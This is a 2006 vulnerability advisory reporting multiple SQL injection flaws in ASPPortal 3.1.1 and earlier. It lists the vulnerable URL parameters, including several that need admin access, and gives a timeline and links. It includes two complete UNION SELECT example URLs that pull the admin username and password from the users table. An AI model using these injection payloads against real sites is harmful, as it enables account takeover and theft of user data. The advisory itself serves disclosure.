ASPPortal versions less than or equal to 3.1.1 suffer from multiple remote SQL injection vulnerabilities
59ac40eb1594f2a0a1f3d4cb8ec00ff7e68085a272db227b8c938dce7e935860
--Security Report--
Advisory: ASPPortal <= 3.1.1 Multiple Remote SQL Injection Vulnerabilities
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 20/03/06 11:14 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: https://www.nukedx.com
}
---
Vendor: ASPPortal (https://www.ASPPortal.net/)
Version: 3.1.1 and prior versions must be affected.
About: There is lots of SQL injections in modules of ASPPortal via this methods
remote attacker can inject arbitrary
SQL queries.In below i included some with their examples and also coded exploit
for second one exploit decrypts password
which comes from SQL injection too, Because ASPPortal has it own crypting
mechanism.As you can see in downloads module
page download_click.asp's downloadid parameter and news module page
News_Item.asp's content_ID parameter did not sanitized
properly.Also there is some SQL injections in admin panel but for using them you
need admin access.You can found them in below
as ADMINGET and ADMINPOST tags.
Level: Critical
---
How&Example:
GET ->
https://[site]/apdir/content/downloads/download_click.asp?downloadid=[SQLCode]
GET -> https://[site]/apdir/content/news/News_Item.asp?content_ID=[SQLCode]
Example ->
https://[site]/apdir/content/downloads/download_click.asp?downloadid=-1+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,
password+FROM+users+where+username='admin'
Example ->
https://[site]/apdir/content/news/News_Item.asp?content_ID=-1+UNION+SELECT+username,password,0,0,
group_id,email,0,0,0,0,0,0,0,0,0,0+FROM+users+where+username='admin'
With this examples remote attacker could get admin's pass and can login from
/content/users/login.asp
ADMINGET ->
https://[site]/apdir/content/users/add_edit_user.asp?page_type=2&user_id=[SQLCode]
ADMINGET ->
https://[site]/apdir/content/banner_adds/banner_add_edit.asp?pagetype=2&bannerid=[SQLCode]
ADMINGET ->
https://[site]/apdir/content/categories/add_edit_cat.asp?page_type=2&cat_id=[SQLCode]
ADMINGET ->
https://[site]/apdir/content/News/add_edit_news.asp?page_type=2&Content_ID=[SQLCode]
ADMINGET ->
https://[site]/apdir/content/downloads/add_edit_download.asp?page_type=2&download_id=[SQLCode]
ADMINGET ->
https://[site]/apdir/content/poll/add_edit_poll.asp?page_type=2&Poll_ID=[SQLCode]
ADMINGET ->
https://[site]/apdir/content/contactus/contactus_add_edit.asp?contactid=[SQLCode]&pageid=2
ADMINGET ->
https://[site]/apdir/content/poll/poll_list.asp?sortby=[SQLCode]&page_no=1
ADMINPOST ->
https://[site]/apdir/content/downloads/add_edit_download.asp?page_type=1
--
Timeline:
* 20/03/2006: Vulnerability found.
* 20/03/2006: Contacted with vendor and waiting reply.
---
Exploit:
https://www.nukedx.com/?getxpl=21
---
References:
https://www.milw0rm.com/id.php?id=1597
---
Original advisory can be found at: https://www.nukedx.com/?viewdoc=21